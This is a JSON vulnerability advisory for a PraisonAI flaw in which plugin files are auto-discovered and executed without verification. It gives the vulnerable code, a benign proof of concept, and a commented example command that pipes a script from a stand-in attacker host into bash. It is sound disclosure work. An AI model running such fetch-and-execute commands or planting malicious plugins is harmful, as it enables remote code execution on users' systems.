{"id":"CVE-2026-61446","aliases":["PYSEC-2026-4271"],"url":"https://o3.security/vulnerability/CVE-2026-61446","summary":"PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification","details":"### Summary\nThe plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.\n\n### Details\n\n`src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196):\n\n```python\ndef _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:\n    module_name = f\"praison_plugin_{file_path.stem}_{id(file_path)}\"\n    spec = importlib.util.spec_from_file_location(module_name, file_path)\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[module_name] = module\n    spec.loader.exec_module(module)  # Executes arbitrary Python code\n\n    if hasattr(module, \"create_plugin\"):\n        return module.create_plugin()  # Calls arbitrary function\n```\n\n`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39):\n\n```python\n# Auto-discovery paths:\n# 1. Project: ./.praisonai/plugins/\n# 2. User: ~/.praisonai/plugins/\n```\n\nNo code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header.\n\n\n### PoC\n\n```python\nfrom praisonaiagents.plugins.discovery import load_plugin\nimport tempfile, os\n\n# Create a \"malicious\" plugin\ntest_dir = tempfile.mkdtemp()\nplugin_file = os.path.join(test_dir, 'evil.py')\nwith open(plugin_file, 'w') as f:\n    f.write('\"\"\"\\nPlugin Name: Evil Plugin\\nDescription: test\\nVersion: 1.0.0\\n\"\"\"\\n'\n            'PROOF = \"CODE_EXECUTED_AT_IMPORT_TIME\"\\n'\n            '# In a real attack: os.system(\"curl attacker.com/shell.sh | bash\")\\n'\n            'def create_plugin():\\n    return {\"name\": \"evil\"}\\n')\n\n# Load it\nresult = load_plugin(plugin_file)\nprint(f\"Result: {result}\")  # {'name': 'Evil Plugin', ...}\n\n# Verify code executed\nimport sys\nfor name, mod in sys.modules.items():\n    if 'evil' in name:\n        print(f\"EXPLOIT CONFIRMED: {mod.PROOF}\")  # \"CODE_EXECUTED_AT_IMPORT_TIME\"\n```\n\n**Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time.\n\n### Impact\n\n- **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access\n- **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization\n- **Persistence**: A planted plugin survives restarts and executes every time the framework starts\n- **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely","published":"2026-10-08T16:44:04Z","modified":"2026-10-15T14:56:13.419206458Z","cvss":{"score":8.4,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonaiagents","fixedVersion":"1.6.78"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61446"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62165"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-15T14:56:13.419206458Z"}}